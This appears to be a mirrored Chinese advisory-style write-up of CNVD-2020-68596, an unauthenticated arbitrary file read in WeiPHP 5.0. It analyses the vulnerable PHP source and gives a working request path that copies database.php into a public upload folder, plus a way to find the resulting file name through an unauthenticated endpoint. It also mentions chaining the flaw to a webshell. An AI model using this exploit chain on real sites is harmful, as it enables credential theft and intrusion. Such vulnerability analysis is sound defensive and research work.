mirror of
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258 lines
7.5 KiB
Markdown
258 lines
7.5 KiB
Markdown
# WeiPHP5.0 download_imgage 前台文件任意读取 CNVD-2020-68596
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## 漏洞描述
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Weiphp5.0 存在前台文件任意读取漏洞，可以读取数据库配置等敏感文件
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## 漏洞影响
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```
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Weiphp <= 5.0
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```
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## 网络测绘
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```
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app="WeiPHP"
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```
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## 环境搭建
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[weiphp5.0官方下载参考手册](https://www.weiphp.cn/doc/Initialization_database.html)
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参考官方手册创建网站即可
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漏洞函数文件:`application\material\controller\Material.php`
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漏洞函数:`_download_imgage`
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```
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public function _download_imgage($media_id, $picUrl = '', $dd = null)
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{
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$savePath = SITE_PATH . '/public/uploads/picture/' . time_format(NOW_TIME, 'Y-m-d');
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mkdirs($savePath);
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$cover_id = 0;
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if (empty($picUrl)) {
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// 获取图片URL
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$url = 'https://api.weixin.qq.com/cgi-bin/material/get_material?access_token=' . get_access_token();
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$param['media_id'] = $media_id;
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// dump($url);
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$picContent = post_data($url, $param, 'json', false);
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$picjson = json_decode($picContent, true);
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// dump($picjson);die;
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if (isset($picjson['errcode']) && $picjson['errcode'] != 0) {
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$cover_id = do_down_image($media_id, $dd['thumb_url']);
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if (!$cover_id) {
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return 0;
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exit();
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}
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}
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$picName = NOW_TIME . uniqid() . '.jpg';
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$picPath = $savePath . '/' . $picName;
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$res = file_put_contents($picPath, $picContent);
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} else {
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$content = wp_file_get_contents($picUrl);
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// 获取图片扩展名
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$picExt = substr($picUrl, strrpos($picUrl, '=') + 1);
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if (empty($picExt) || $picExt == 'jpeg' || strpos('jpg,gif,png,jpeg,bmp', $picExt) === false) {
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$picExt = 'jpg';
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}
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$picName = NOW_TIME . uniqid() . '.' . $picExt;
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$picPath = $savePath . '/' . $picName;
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$res = file_put_contents($picPath, $content);
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if (!$res) {
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$cover_id = do_down_image($media_id);
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if (!$cover_id) {
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return 0;
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exit();
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}
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}
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}
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if ($res) {
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$file = array(
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'name' => $picName,
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'type' => 'application/octet-stream',
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'tmp_name' => $picPath,
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'size' => $res,
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'error' => 0
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);
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$File = D('home/Picture');
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$cover_id = $File->addFile($file);
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}
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return $cover_id;
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}
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```
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首先注意到函数的标识为`public`，也就是这个函数是公共调用的，并且变量`picUrl`为可控变量
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根据代码从上向下分析
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```
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$savePath = SITE_PATH . '/public/uploads/picture/' . time_format(NOW_TIME, 'Y-m-d');
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```
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```
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else {
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$content = wp_file_get_contents($picUrl);
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// 获取图片扩展名
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$picExt = substr($picUrl, strrpos($picUrl, '=') + 1);
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if (empty($picExt) || $picExt == 'jpeg' || strpos('jpg,gif,png,jpeg,bmp', $picExt) === false) {
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$picExt = 'jpg';
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}
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$picName = NOW_TIME . uniqid() . '.' . $picExt;
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$picPath = $savePath . '/' . $picName;
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$res = file_put_contents($picPath, $content);
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if (!$res) {
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$cover_id = do_down_image($media_id);
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if (!$cover_id) {
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return 0;
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exit();
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}
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}
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```
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分析传入变量 `picUrl` 的 `wp_file_get_contents`方法
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```
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$content = wp_file_get_contents($picUrl);
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```
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函数文件位置 `application\common.php`
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可以看到这里没有对我们的参数进行过滤，只做了一个有关超时的操作, 回到函数继续向下分析
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```
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$picExt = substr($picUrl, strrpos($picUrl, '=') + 1);
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if (empty($picExt) || $picExt == 'jpeg' || strpos('jpg,gif,png,jpeg,bmp', $picExt) === false) {
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$picExt = 'jpg';
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}
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$picName = NOW_TIME . uniqid() . '.' . $picExt;
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$picPath = $savePath . '/' . $picName;
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$res = file_put_contents($picPath, $content);
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```
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这里创建了有关当前时间的图片文件，并写入文件夹`/public/uploads/picture/` 下
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我们先尝试控制变量 `$picUrl` 来写入数据库配置文件到图片中
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```
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/public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../config/database.php
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```
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查看目录`/public/uploads/picture/`，并用记事本打开写入的jpg文件
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得到数据库配置文件的信息，既然这个变量可控，我们也可以通过这个方法下载木马文件，再通过解析漏洞或者文件包含等其他漏洞来getshell
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在当前条件下并不知道文件名是什么，所以回到代码中继续寻找可以获取文件名的办法
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```
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if ($res) {
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$file = array(
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'name' => $picName,
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'type' => 'application/octet-stream',
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'tmp_name' => $picPath,
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'size' => $res,
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'error' => 0
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);
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$File = D('home/Picture');
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$cover_id = $File->addFile($file);
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}
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```
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向下跟进 `addFile` 函数
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函数位置:`application\home\model\Picture.php`
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```
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function addFile($file)
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{
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$data['md5'] = md5_file($file['tmp_name']);
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$id = $this->where('md5', $data['md5'])->value('id');
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if ($id > 0) {
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return $id;
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}
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$info = pathinfo($file['tmp_name']);
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$data['path'] = str_replace(SITE_PATH . '/public', '', $file['tmp_name']);
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$data['sha1'] = hash_file('sha1', $file['tmp_name']);
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$data['create_time'] = NOW_TIME;
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$data['status'] = 1;
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$data['wpid'] = get_wpid();
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$id = $this->insertGetId($data);
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return $id;
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}
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```
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可以看到这部分代码写入了 Picture 表中
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```
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$id = $this->insertGetId($data);
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```
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我们查看一下数据库的这个数据表，可以发现之前所上传的数据全部缓存在这个表里了
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我们现在则需要找到不需要登录的地方来获得这些数据，所以可以全局去查找调用了这个 Picture 表的地方
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找到一处可以利用的地方
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```
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function user_pics()
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{
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$map['wpid'] = get_wpid();
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$picList = M('Picture')->where(wp_where($map))
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->order('id desc')
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->select();
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$this->assign('picList', $picList);
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exit($this->fetch());
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}
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```
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跟进 `get_wpid` 函数
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```
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function get_wpid($wpid = '')
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{
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if (defined('WPID')) {
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return WPID;
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} else {
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return 0;
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}
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}
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```
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查看 WPID 的定义，文件位置在`config\weiphp_define.php`
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定义值默认为 1，所以这里调用则可以获得数据库中Pictrue表的内容，间接的知道了文件内容以及文件名
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访问地址: http://webphp/public/index.php/home/file/user_pids
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可以看到文件名，根据url地址访问选择下载即可 |